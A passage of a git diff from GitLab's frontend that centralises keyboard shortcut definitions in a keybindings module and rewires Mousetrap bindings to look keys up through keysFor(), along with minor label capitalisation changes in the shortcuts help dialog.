+ defaultKeys: ['shift+p'],
+};
+
+export const GO_TO_YOUR_GROUPS = {
+ id: 'globalShortcuts.goToYourGroups',
+ description: __('Go to your groups'),
+ defaultKeys: ['shift+g'],
+};
+
+export const GO_TO_ACTIVITY_FEED = {
+ id: 'globalShortcuts.goToActivityFeed',
+ description: __('Go to the activity feed'),
+ defaultKeys: ['shift+a'],
+};
+
+export const GO_TO_MILESTONE_LIST = {
+ id: 'globalShortcuts.goToMilestoneList',
+ description: __('Go to the milestone list'),
+ defaultKeys: ['shift+l'],
+};
+
+export const GO_TO_YOUR_SNIPPETS = {
+ id: 'globalShortcuts.goToYourSnippets',
+ description: __('Go to your snippets'),
+ defaultKeys: ['shift+s'],
+};
+
+export const START_SEARCH = {
+ id: 'globalShortcuts.startSearch',
+ description: __('Start search'),
+ defaultKeys: ['s', '/'],
+};
+
+export const FOCUS_FILTER_BAR = {
+ id: 'globalShortcuts.focusFilterBar',
+ description: __('Focus filter bar'),
+ defaultKeys: ['f'],
+};
+
+export const GO_TO_YOUR_ISSUES = {
+ id: 'globalShortcuts.goToYourIssues',
+ description: __('Go to your issues'),
+ defaultKeys: ['shift+i'],
+};
+
+export const GO_TO_YOUR_MERGE_REQUESTS = {
+ id: 'globalShortcuts.goToYourMergeRequests',
+ description: __('Go to your merge requests'),
+ defaultKeys: ['shift+m'],
+};
+
+export const GO_TO_YOUR_TODO_LIST = {
+ id: 'globalShortcuts.goToYourTodoList',
+ description: __('Go to your To-Do list'),
+ defaultKeys: ['shift+t'],
+};
+
export const TOGGLE_PERFORMANCE_BAR = {
id: 'globalShortcuts.togglePerformanceBar',
- description: s__('KeyboardShortcuts|Toggle the Performance Bar'),
- // eslint-disable-next-line @gitlab/require-i18n-strings
- defaultKeys: ['p b'],
+ description: __('Toggle the Performance Bar'),
+ defaultKeys: ['p b'], // eslint-disable-line @gitlab/require-i18n-strings
};
export const TOGGLE_CANARY = {
id: 'globalShortcuts.toggleCanary',
- description: s__('KeyboardShortcuts|Toggle GitLab Next'),
- // eslint-disable-next-line @gitlab/require-i18n-strings
- defaultKeys: ['g x'],
+ description: __('Toggle GitLab Next'),
+ defaultKeys: ['g x'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const BOLD_TEXT = {
+ id: 'editing.boldText',
+ description: __('Bold text'),
+ defaultKeys: ['mod+b'],
+ customizable: false,
+};
+
+export const ITALIC_TEXT = {
+ id: 'editing.italicText',
+ description: __('Italic text'),
+ defaultKeys: ['mod+i'],
+ customizable: false,
+};
+
+export const LINK_TEXT = {
+ id: 'editing.linkText',
+ description: __('Link text'),
+ defaultKeys: ['mod+k'],
+ customizable: false,
+};
+
+export const TOGGLE_MARKDOWN_PREVIEW = {
+ id: 'editing.toggleMarkdownPreview',
+ description: __('Toggle Markdown preview'),
+ // Note: Ideally, keyboard shortcuts should be made cross-platform by using the special `mod` key
+ // instead of binding both `ctrl` and `command` versions of the shortcut.
+ // See https://docs.gitlab.com/ee/development/fe_guide/keyboard_shortcuts.html#make-cross-platform-shortcuts.
+ // However, this particular shortcut has been in place since before the `mod` key was available.
+ // We've chosen to leave this implemented as-is for the time being to avoid breaking people's workflows.
+ // See discussion in https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45308#note_527490548.
+ defaultKeys: ['ctrl+shift+p', 'command+shift+p'],
+};
+
+export const EDIT_RECENT_COMMENT = {
+ id: 'editing.editRecentComment',
+ description: __('Edit your most recent comment in a thread (from an empty textarea)'),
+ defaultKeys: ['up'],
+};
+
+export const EDIT_WIKI_PAGE = {
+ id: 'wiki.editWikiPage',
+ description: __('Edit wiki page'),
+ defaultKeys: ['e'],
+};
+
+export const REPO_GRAPH_SCROLL_LEFT = {
+ id: 'repositoryGraph.scrollLeft',
+ description: __('Scroll left'),
+ defaultKeys: ['left', 'h'],
+};
+
+export const REPO_GRAPH_SCROLL_RIGHT = {
+ id: 'repositoryGraph.scrollRight',
+ description: __('Scroll right'),
+ defaultKeys: ['right', 'l'],
+};
+
+export const REPO_GRAPH_SCROLL_UP = {
+ id: 'repositoryGraph.scrollUp',
+ description: __('Scroll up'),
+ defaultKeys: ['up', 'k'],
+};
+
+export const REPO_GRAPH_SCROLL_DOWN = {
+ id: 'repositoryGraph.scrollDown',
+ description: __('Scroll down'),
+ defaultKeys: ['down', 'j'],
+};
+
+export const REPO_GRAPH_SCROLL_TOP = {
+ id: 'repositoryGraph.scrollToTop',
+ description: __('Scroll to top'),
+ defaultKeys: ['shift+up', 'shift+k'],
+};
+
+export const REPO_GRAPH_SCROLL_BOTTOM = {
+ id: 'repositoryGraph.scrollToBottom',
+ description: __('Scroll to bottom'),
+ defaultKeys: ['shift+down', 'shift+j'],
+};
+
+export const GO_TO_PROJECT_OVERVIEW = {
+ id: 'project.goToOverview',
+ description: __("Go to the project's overview page"),
+ defaultKeys: ['g p'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_ACTIVITY_FEED = {
+ id: 'project.goToActivityFeed',
+ description: __("Go to the project's activity feed"),
+ defaultKeys: ['g v'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_RELEASES = {
+ id: 'project.goToReleases',
+ description: __('Go to releases'),
+ defaultKeys: ['g r'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_FILES = {
+ id: 'project.goToFiles',
+ description: __('Go to files'),
+ defaultKeys: ['g f'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_FIND_FILE = {
+ id: 'project.goToFindFile',
+ description: __('Go to find file'),
+ defaultKeys: ['t'],
+};
+
+export const GO_TO_PROJECT_COMMITS = {
+ id: 'project.goToCommits',
+ description: __('Go to commits'),
+ defaultKeys: ['g c'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_REPO_GRAPH = {
+ id: 'project.goToRepoGraph',
+ description: __('Go to repository graph'),
+ defaultKeys: ['g n'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_REPO_CHARTS = {
+ id: 'project.goToRepoCharts',
+ description: __('Go to repository charts'),
+ defaultKeys: ['g d'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_ISSUES = {
+ id: 'project.goToIssues',
+ description: __('Go to issues'),
+ defaultKeys: ['g i'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const NEW_ISSUE = {
+ id: 'project.newIssue',
+ description: __('New issue'),
+ defaultKeys: ['i'],
+};
+
+export const GO_TO_PROJECT_ISSUE_BOARDS = {
+ id: 'project.goToIssueBoards',
+ description: __('Go to issue boards'),
+ defaultKeys: ['g b'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_MERGE_REQUESTS = {
+ id: 'project.goToMergeRequests',
+ description: __('Go to merge requests'),
+ defaultKeys: ['g m'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_JOBS = {
+ id: 'project.goToJobs',
+ description: __('Go to jobs'),
+ defaultKeys: ['g j'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_METRICS = {
+ id: 'project.goToMetrics',
+ description: __('Go to metrics'),
+ defaultKeys: ['g l'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_ENVIRONMENTS = {
+ id: 'project.goToEnvironments',
+ description: __('Go to environments'),
+ defaultKeys: ['g e'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_KUBERNETES = {
+ id: 'project.goToKubernetes',
+ description: __('Go to kubernetes'),
+ defaultKeys: ['g k'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_SNIPPETS = {
+ id: 'project.goToSnippets',
+ description: __('Go to snippets'),
+ defaultKeys: ['g s'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const GO_TO_PROJECT_WIKI = {
+ id: 'project.goToWiki',
+ description: __('Go to wiki'),
+ defaultKeys: ['g w'], // eslint-disable-line @gitlab/require-i18n-strings
+};
+
+export const PROJECT_FILES_MOVE_SELECTION_UP = {
+ id: 'projectFiles.moveSelectionUp',
+ description: __('Move selection up'),
+ defaultKeys: ['up'],
+};
+
+export const PROJECT_FILES_MOVE_SELECTION_DOWN = {
+ id: 'projectFiles.moveSelectionDown',
+ description: __('Move selection down'),
+ defaultKeys: ['down'],
+};
+
+export const PROJECT_FILES_OPEN_SELECTION = {
+ id: 'projectFiles.openSelection',
+ description: __('Open Selection'),
+ defaultKeys: ['enter'],
+};
+
+export const PROJECT_FILES_GO_BACK = {
+ id: 'projectFiles.goBack',
+ description: __('Go back (while searching for files)'),
+ defaultKeys: ['esc'],
+};
+
+export const PROJECT_FILES_GO_TO_PERMALINK = {
+ id: 'projectFiles.goToFilePermalink',
+ description: __('Go to file permalink (while viewing a file)'),
+ defaultKeys: ['y'],
+};
+
+export const ISSUABLE_COMMENT_OR_REPLY = {
+ id: 'issuables.commentReply',
+ description: __('Comment/Reply (quoting selected text)'),
+ defaultKeys: ['r'],
+};
+
+export const ISSUABLE_EDIT_DESCRIPTION = {
+ id: 'issuables.editDescription',
+ description: __('Edit description'),
+ defaultKeys: ['e'],
+};
+
+export const ISSUABLE_CHANGE_LABEL = {
+ id: 'issuables.changeLabel',
+ description: __('Change label'),
+ defaultKeys: ['l'],
+};
+
+export const ISSUE_MR_CHANGE_ASSIGNEE = {
+ id: 'issuesMRs.changeAssignee',
+ description: __('Change assignee'),
+ defaultKeys: ['a'],
+};
+
+export const ISSUE_MR_CHANGE_MILESTONE = {
+ id: 'issuesMRs.changeMilestone',
+ description: __('Change milestone'),
+ defaultKeys: ['m'],
+};
+
+export const MR_NEXT_FILE_IN_DIFF = {
+ id: 'mergeRequests.nextFileInDiff',
+ description: __('Next file in diff'),
+ defaultKeys: [']', 'j'],
+};
+
+export const MR_PREVIOUS_FILE_IN_DIFF = {
+ id: 'mergeRequests.previousFileInDiff',
+ description: __('Previous file in diff'),
+ defaultKeys: ['[', 'k'],
+};
+
+export const MR_GO_TO_FILE = {
+ id: 'mergeRequests.goToFile',
+ description: __('Go to file'),
+ defaultKeys: ['t', 'mod+p'],
+ customizable: false,
+};
+
+export const MR_NEXT_UNRESOLVED_DISCUSSION = {
+ id: 'mergeRequests.nextUnresolvedDiscussion',
+ description: __('Next unresolved discussion'),
+ defaultKeys: ['n'],
+};
+
+export const MR_PREVIOUS_UNRESOLVED_DISCUSSION = {
+ id: 'mergeRequests.previousUnresolvedDiscussion',
+ description: __('Previous unresolved discussion'),
+ defaultKeys: ['p'],
+};
+
+export const MR_COPY_SOURCE_BRANCH_NAME = {
+ id: 'mergeRequests.copySourceBranchName',
+ description: __('Copy source branch name'),
+ defaultKeys: ['b'],
+};
+
+export const MR_COMMITS_NEXT_COMMIT = {
+ id: 'mergeRequestCommits.nextCommit',
+ description: __('Next commit'),
+ defaultKeys: ['c'],
+};
+
+export const MR_COMMITS_PREVIOUS_COMMIT = {
+ id: 'mergeRequestCommits.previousCommit',
+ description: __('Previous commit'),
+ defaultKeys: ['x'],
+};
+
+export const ISSUE_NEXT_DESIGN = {
+ id: 'issues.nextDesign',
+ description: __('Next design'),
+ defaultKeys: ['right'],
+};
+
+export const ISSUE_PREVIOUS_DESIGN = {
+ id: 'issues.previousDesign',
+ description: __('Previous design'),
+ defaultKeys: ['left'],
+};
+
+export const ISSUE_CLOSE_DESIGN = {
+ id: 'issues.closeDesign',
+ description: __('Close design'),
+ defaultKeys: ['esc'],
+};
+
+export const WEB_IDE_GO_TO_FILE = {
+ id: 'webIDE.goToFile',
+ description: __('Go to file'),
+ defaultKeys: ['mod+p'],
};
export const WEB_IDE_COMMIT = {
id: 'webIDE.commit',
- description: s__('KeyboardShortcuts|Commit (when editing commit message)'),
+ description: __('Commit (when editing commit message)'),
defaultKeys: ['mod+enter'],
customizable: false,
};
+export const METRICS_EXPAND_PANEL = {
+ id: 'metrics.expandPanel',
+ description: __('Expand panel'),
+ defaultKeys: ['e'],
+ customizable: false,
+};
+
+export const METRICS_VIEW_LOGS = {
+ id: 'metrics.viewLogs',
+ description: __('View logs'),
+ defaultKeys: ['l'],
+ customizable: false,
+};
+
+export const METRICS_DOWNLOAD_CSV = {
+ id: 'metrics.downloadCSV',
+ description: __('Download CSV'),
+ defaultKeys: ['d'],
+ customizable: false,
+};
+
+export const METRICS_COPY_LINK_TO_CHART = {
+ id: 'metrics.copyLinkToChart',
+ description: __('Copy link to chart'),
+ defaultKeys: ['c'],
+ customizable: false,
+};
+
+export const METRICS_SHOW_ALERTS = {
+ id: 'metrics.showAlerts',
+ description: __('Alerts'),
+ defaultKeys: ['a'],
+ customizable: false,
+};
+
// All keybinding groups
export const GLOBAL_SHORTCUTS_GROUP = {
id: 'globalShortcuts',
- name: s__('KeyboardShortcuts|Global Shortcuts'),
- keybindings: [TOGGLE_PERFORMANCE_BAR, TOGGLE_CANARY],
+ name: __('Global Shortcuts'),
+ keybindings: [
+ TOGGLE_KEYBOARD_SHORTCUTS_DIALOG,
+ GO_TO_YOUR_PROJECTS,
+ GO_TO_YOUR_GROUPS,
+ GO_TO_ACTIVITY_FEED,
+ GO_TO_MILESTONE_LIST,
+ GO_TO_YOUR_SNIPPETS,
+ START_SEARCH,
+ FOCUS_FILTER_BAR,
+ GO_TO_YOUR_ISSUES,
+ GO_TO_YOUR_MERGE_REQUESTS,
+ GO_TO_YOUR_TODO_LIST,
+ TOGGLE_PERFORMANCE_BAR,
+ ],
+};
+
+export const EDITING_SHORTCUTS_GROUP = {
+ id: 'editing',
+ name: __('Editing'),
+ keybindings: [BOLD_TEXT, ITALIC_TEXT, LINK_TEXT, TOGGLE_MARKDOWN_PREVIEW, EDIT_RECENT_COMMENT],
+};
+
+export const WIKI_SHORTCUTS_GROUP = {
+ id: 'wiki',
+ name: __('Wiki'),
+ keybindings: [EDIT_WIKI_PAGE],
+};
+
+export const REPOSITORY_GRAPH_SHORTCUTS_GROUP = {
+ id: 'repositoryGraph',
+ name: __('Repository Graph'),
+ keybindings: [
+ REPO_GRAPH_SCROLL_LEFT,
+ REPO_GRAPH_SCROLL_RIGHT,
+ REPO_GRAPH_SCROLL_UP,
+ REPO_GRAPH_SCROLL_DOWN,
+ REPO_GRAPH_SCROLL_TOP,
+ REPO_GRAPH_SCROLL_BOTTOM,
+ ],
+};
+
+export const PROJECT_SHORTCUTS_GROUP = {
+ id: 'project',
+ name: __('Project'),
+ keybindings: [
+ GO_TO_PROJECT_OVERVIEW,
+ GO_TO_PROJECT_ACTIVITY_FEED,
+ GO_TO_PROJECT_RELEASES,
+ GO_TO_PROJECT_FILES,
+ GO_TO_PROJECT_FIND_FILE,
+ GO_TO_PROJECT_COMMITS,
+ GO_TO_PROJECT_REPO_GRAPH,
+ GO_TO_PROJECT_REPO_CHARTS,
+ GO_TO_PROJECT_ISSUES,
+ NEW_ISSUE,
+ GO_TO_PROJECT_ISSUE_BOARDS,
+ GO_TO_PROJECT_MERGE_REQUESTS,
+ GO_TO_PROJECT_JOBS,
+ GO_TO_PROJECT_METRICS,
+ GO_TO_PROJECT_ENVIRONMENTS,
+ GO_TO_PROJECT_KUBERNETES,
+ GO_TO_PROJECT_SNIPPETS,
+ GO_TO_PROJECT_WIKI,
+ ],
+};
+
+export const PROJECT_FILES_SHORTCUTS_GROUP = {
+ id: 'projectFiles',
+ name: __('Project Files'),
+ keybindings: [
+ PROJECT_FILES_MOVE_SELECTION_UP,
+ PROJECT_FILES_MOVE_SELECTION_DOWN,
+ PROJECT_FILES_OPEN_SELECTION,
+ PROJECT_FILES_GO_BACK,
+ PROJECT_FILES_GO_TO_PERMALINK,
+ ],
+};
+
+export const ISSUABLE_SHORTCUTS_GROUP = {
+ id: 'issuables',
+ name: __('Epics, issues, and merge requests'),
+ keybindings: [ISSUABLE_COMMENT_OR_REPLY, ISSUABLE_EDIT_DESCRIPTION, ISSUABLE_CHANGE_LABEL],
+};
+
+export const ISSUE_MR_SHORTCUTS_GROUP = {
+ id: 'issuesMRs',
+ name: __('Issues and merge requests'),
+ keybindings: [ISSUE_MR_CHANGE_ASSIGNEE, ISSUE_MR_CHANGE_MILESTONE],
};
-export const WEB_IDE_GROUP = {
+export const MR_SHORTCUTS_GROUP = {
+ id: 'mergeRequests',
+ name: __('Merge requests'),
+ keybindings: [
+ MR_NEXT_FILE_IN_DIFF,
+ MR_PREVIOUS_FILE_IN_DIFF,
+ MR_GO_TO_FILE,
+ MR_NEXT_UNRESOLVED_DISCUSSION,
+ MR_PREVIOUS_UNRESOLVED_DISCUSSION,
+ MR_COPY_SOURCE_BRANCH_NAME,
+ ],
+};
+
+export const MR_COMMITS_SHORTCUTS_GROUP = {
+ id: 'mergeRequestCommits',
+ name: __('Merge request commits'),
+ keybindings: [MR_COMMITS_NEXT_COMMIT, MR_COMMITS_PREVIOUS_COMMIT],
+};
+
+export const ISSUES_SHORTCUTS_GROUP = {
+ id: 'issues',
+ name: __('Issues'),
+ keybindings: [ISSUE_NEXT_DESIGN, ISSUE_PREVIOUS_DESIGN, ISSUE_CLOSE_DESIGN],
+};
+
+export const WEB_IDE_SHORTCUTS_GROUP = {
id: 'webIDE',
- name: s__('KeyboardShortcuts|Web IDE'),
- keybindings: [WEB_IDE_COMMIT],
+ name: __('Web IDE'),
+ keybindings: [WEB_IDE_GO_TO_FILE, WEB_IDE_COMMIT],
+};
+
+export const METRICS_SHORTCUTS_GROUP = {
+ id: 'metrics',
+ name: __('Metrics'),
+ keybindings: [
+ METRICS_EXPAND_PANEL,
+ METRICS_VIEW_LOGS,
+ METRICS_DOWNLOAD_CSV,
+ METRICS_COPY_LINK_TO_CHART,
+ METRICS_SHOW_ALERTS,
+ ],
+};
+
+export const MISC_SHORTCUTS_GROUP = {
+ id: 'misc',
+ name: __('Miscellaneous'),
+ keybindings: [TOGGLE_CANARY],
};
/** All keybindings, grouped and ordered with descriptions */
-export const keybindingGroups = [GLOBAL_SHORTCUTS_GROUP, WEB_IDE_GROUP];
+export const keybindingGroups = [
+ GLOBAL_SHORTCUTS_GROUP,
+ EDITING_SHORTCUTS_GROUP,
+ WIKI_SHORTCUTS_GROUP,
+ REPOSITORY_GRAPH_SHORTCUTS_GROUP,
+ PROJECT_SHORTCUTS_GROUP,
+ PROJECT_FILES_SHORTCUTS_GROUP,
+ ISSUABLE_SHORTCUTS_GROUP,
+ ISSUE_MR_SHORTCUTS_GROUP,
+ MR_SHORTCUTS_GROUP,
+ MR_COMMITS_SHORTCUTS_GROUP,
+ ISSUES_SHORTCUTS_GROUP,
+ WEB_IDE_SHORTCUTS_GROUP,
+ METRICS_SHORTCUTS_GROUP,
+ MISC_SHORTCUTS_GROUP,
+];
/**
* Gets keyboard shortcuts associated with a command
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
index e4ec68601e0..03cba78cf31 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
@@ -6,13 +6,29 @@ import Vue from 'vue';
import { parseBoolean } from '~/lib/utils/common_utils';
import findAndFollowLink from '~/lib/utils/navigation_utility';
import { refreshCurrentPage, visitUrl } from '~/lib/utils/url_utility';
-
-import { keysFor, TOGGLE_PERFORMANCE_BAR, TOGGLE_CANARY } from './keybindings';
+import {
+ keysFor,
+ TOGGLE_KEYBOARD_SHORTCUTS_DIALOG,
+ START_SEARCH,
+ FOCUS_FILTER_BAR,
+ TOGGLE_PERFORMANCE_BAR,
+ TOGGLE_CANARY,
+ TOGGLE_MARKDOWN_PREVIEW,
+ GO_TO_YOUR_TODO_LIST,
+ GO_TO_ACTIVITY_FEED,
+ GO_TO_YOUR_ISSUES,
+ GO_TO_YOUR_MERGE_REQUESTS,
+ GO_TO_YOUR_PROJECTS,
+ GO_TO_YOUR_GROUPS,
+ GO_TO_MILESTONE_LIST,
+ GO_TO_YOUR_SNIPPETS,
+ GO_TO_PROJECT_FIND_FILE,
+} from './keybindings';
import { disableShortcuts, shouldDisableShortcuts } from './shortcuts_toggle';
const defaultStopCallback = Mousetrap.prototype.stopCallback;
Mousetrap.prototype.stopCallback = function customStopCallback(e, element, combo) {
- if (['ctrl+shift+p', 'command+shift+p'].indexOf(combo) !== -1) {
+ if (keysFor(TOGGLE_MARKDOWN_PREVIEW).indexOf(combo) !== -1) {
return false;
}
@@ -58,28 +74,41 @@ export default class Shortcuts {
this.helpModalElement = null;
this.helpModalVueInstance = null;
- Mousetrap.bind('?', this.onToggleHelp);
- Mousetrap.bind('s', Shortcuts.focusSearch);
- Mousetrap.bind('/', Shortcuts.focusSearch);
- Mousetrap.bind('f', this.focusFilter.bind(this));
+ Mousetrap.bind(keysFor(TOGGLE_KEYBOARD_SHORTCUTS_DIALOG), this.onToggleHelp);
+ Mousetrap.bind(keysFor(START_SEARCH), Shortcuts.focusSearch);
+ Mousetrap.bind(keysFor(FOCUS_FILTER_BAR), this.focusFilter.bind(this));
Mousetrap.bind(keysFor(TOGGLE_PERFORMANCE_BAR), Shortcuts.onTogglePerfBar);
Mousetrap.bind(keysFor(TOGGLE_CANARY), Shortcuts.onToggleCanary);
const findFileURL = document.body.dataset.findFile;
- Mousetrap.bind('shift+t', () => findAndFollowLink('.shortcuts-todos'));
- Mousetrap.bind('shift+a', () => findAndFollowLink('.dashboard-shortcuts-activity'));
- Mousetrap.bind('shift+i', () => findAndFollowLink('.dashboard-shortcuts-issues'));
- Mousetrap.bind('shift+m', () => findAndFollowLink('.dashboard-shortcuts-merge_requests'));
- Mousetrap.bind('shift+p', () => findAndFollowLink('.dashboard-shortcuts-projects'));
- Mousetrap.bind('shift+g', () => findAndFollowLink('.dashboard-shortcuts-groups'));
- Mousetrap.bind('shift+l', () => findAndFollowLink('.dashboard-shortcuts-milestones'));
- Mousetrap.bind('shift+s', () => findAndFollowLink('.dashboard-shortcuts-snippets'));
-
- Mousetrap.bind(['ctrl+shift+p', 'command+shift+p'], Shortcuts.toggleMarkdownPreview);
+ Mousetrap.bind(keysFor(GO_TO_YOUR_TODO_LIST), () => findAndFollowLink('.shortcuts-todos'));
+ Mousetrap.bind(keysFor(GO_TO_ACTIVITY_FEED), () =>
+ findAndFollowLink('.dashboard-shortcuts-activity'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_YOUR_ISSUES), () =>
+ findAndFollowLink('.dashboard-shortcuts-issues'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_YOUR_MERGE_REQUESTS), () =>
+ findAndFollowLink('.dashboard-shortcuts-merge_requests'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_YOUR_PROJECTS), () =>
+ findAndFollowLink('.dashboard-shortcuts-projects'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_YOUR_GROUPS), () =>
+ findAndFollowLink('.dashboard-shortcuts-groups'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_MILESTONE_LIST), () =>
+ findAndFollowLink('.dashboard-shortcuts-milestones'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_YOUR_SNIPPETS), () =>
+ findAndFollowLink('.dashboard-shortcuts-snippets'),
+ );
+
+ Mousetrap.bind(keysFor(TOGGLE_MARKDOWN_PREVIEW), Shortcuts.toggleMarkdownPreview);
if (typeof findFileURL !== 'undefined' && findFileURL !== null) {
- Mousetrap.bind('t', () => {
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_FIND_FILE), () => {
visitUrl(findFileURL);
});
}
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts_blob.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts_blob.js
index 11b4fcd4e1c..ab7fcbb35f1 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts_blob.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts_blob.js
@@ -1,4 +1,5 @@
import Mousetrap from 'mousetrap';
+import { keysFor, PROJECT_FILES_GO_TO_PERMALINK } from '~/behaviors/shortcuts/keybindings';
import {
getLocationHash,
updateHistory,
@@ -28,7 +29,7 @@ export default class ShortcutsBlob extends Shortcuts {
this.shortcircuitPermalinkButton();
- Mousetrap.bind('y', this.moveToFilePermalink.bind(this));
+ Mousetrap.bind(keysFor(PROJECT_FILES_GO_TO_PERMALINK), this.moveToFilePermalink.bind(this));
}
moveToFilePermalink() {
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts_find_file.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts_find_file.js
index f0d2ecfd210..992e571e596 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts_find_file.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts_find_file.js
@@ -1,4 +1,11 @@
import Mousetrap from 'mousetrap';
+import {
+ keysFor,
+ PROJECT_FILES_MOVE_SELECTION_UP,
+ PROJECT_FILES_MOVE_SELECTION_DOWN,
+ PROJECT_FILES_OPEN_SELECTION,
+ PROJECT_FILES_GO_BACK,
+} from '~/behaviors/shortcuts/keybindings';
import ShortcutsNavigation from './shortcuts_navigation';
export default class ShortcutsFindFile extends ShortcutsNavigation {
@@ -10,7 +17,10 @@ export default class ShortcutsFindFile extends ShortcutsNavigation {
Mousetrap.prototype.stopCallback = function customStopCallback(e, element, combo) {
if (
element === projectFindFile.inputElement[0] &&
- (combo === 'up' || combo === 'down' || combo === 'esc' || combo === 'enter')
+ (keysFor(PROJECT_FILES_MOVE_SELECTION_UP).includes(combo) ||
+ keysFor(PROJECT_FILES_MOVE_SELECTION_DOWN).includes(combo) ||
+ keysFor(PROJECT_FILES_GO_BACK).includes(combo) ||
+ keysFor(PROJECT_FILES_OPEN_SELECTION).includes(combo))
) {
// when press up/down key in textbox, cursor prevent to move to home/end
e.preventDefault();
@@ -20,9 +30,9 @@ export default class ShortcutsFindFile extends ShortcutsNavigation {
return oldStopCallback.call(this, e, element, combo);
};
- Mousetrap.bind('up', projectFindFile.selectRowUp);
- Mousetrap.bind('down', projectFindFile.selectRowDown);
- Mousetrap.bind('esc', projectFindFile.goToTree);
- Mousetrap.bind('enter', projectFindFile.goToBlob);
+ Mousetrap.bind(keysFor(PROJECT_FILES_MOVE_SELECTION_UP), projectFindFile.selectRowUp);
+ Mousetrap.bind(keysFor(PROJECT_FILES_MOVE_SELECTION_DOWN), projectFindFile.selectRowDown);
+ Mousetrap.bind(keysFor(PROJECT_FILES_GO_BACK), projectFindFile.goToTree);
+ Mousetrap.bind(keysFor(PROJECT_FILES_OPEN_SELECTION), projectFindFile.goToBlob);
}
}
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts_help.vue b/app/assets/javascripts/behaviors/shortcuts/shortcuts_help.vue
index 1277dd0ed37..49216cc4aa0 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts_help.vue
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts_help.vue
@@ -397,7 +397,7 @@ export default {
<tbody>
<tr>
<th></th>
- <th>{{ __('Epics, Issues, and Merge Requests') }}</th>
+ <th>{{ __('Epics, issues, and merge requests') }}</th>
</tr>
<tr>
<td class="shortcut">
@@ -421,7 +421,7 @@ export default {
<tbody>
<tr>
<th></th>
- <th>{{ __('Issues and Merge Requests') }}</th>
+ <th>{{ __('Issues and merge requests') }}</th>
</tr>
<tr>
<td class="shortcut">
@@ -439,7 +439,7 @@ export default {
<tbody>
<tr>
<th></th>
- <th>{{ __('Merge Requests') }}</th>
+ <th>{{ __('Merge requests') }}</th>
</tr>
<tr>
<td class="shortcut">
@@ -485,7 +485,7 @@ export default {
<tbody>
<tr>
<th></th>
- <th>{{ __('Merge Request Commits') }}</th>
+ <th>{{ __('Merge request commits') }}</th>
</tr>
<tr>
<td class="shortcut">
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts_issuable.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts_issuable.js
index 476745beb19..c2908133fd0 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts_issuable.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts_issuable.js
@@ -5,18 +5,33 @@ import { getSelectedFragment } from '~/lib/utils/common_utils';
import { isElementVisible } from '~/lib/utils/dom_utils';
import Sidebar from '../../right_sidebar';
import { CopyAsGFM } from '../markdown/copy_as_gfm';
+import {
+ keysFor,
+ ISSUE_MR_CHANGE_ASSIGNEE,
+ ISSUE_MR_CHANGE_MILESTONE,
+ ISSUABLE_CHANGE_LABEL,
+ ISSUABLE_COMMENT_OR_REPLY,
+ ISSUABLE_EDIT_DESCRIPTION,
+ MR_COPY_SOURCE_BRANCH_NAME,
+} from './keybindings';
import Shortcuts from './shortcuts';
export default class ShortcutsIssuable extends Shortcuts {
constructor() {
super();
- Mousetrap.bind('a', () => ShortcutsIssuable.openSidebarDropdown('assignee'));
- Mousetrap.bind('m', () => ShortcutsIssuable.openSidebarDropdown('milestone'));
- Mousetrap.bind('l', () => ShortcutsIssuable.openSidebarDropdown('labels'));
- Mousetrap.bind('r', ShortcutsIssuable.replyWithSelectedText);
- Mousetrap.bind('e', ShortcutsIssuable.editIssue);
- Mousetrap.bind('b', ShortcutsIssuable.copyBranchName);
+ Mousetrap.bind(keysFor(ISSUE_MR_CHANGE_ASSIGNEE), () =>
+ ShortcutsIssuable.openSidebarDropdown('assignee'),
+ );
+ Mousetrap.bind(keysFor(ISSUE_MR_CHANGE_MILESTONE), () =>
+ ShortcutsIssuable.openSidebarDropdown('milestone'),
+ );
+ Mousetrap.bind(keysFor(ISSUABLE_CHANGE_LABEL), () =>
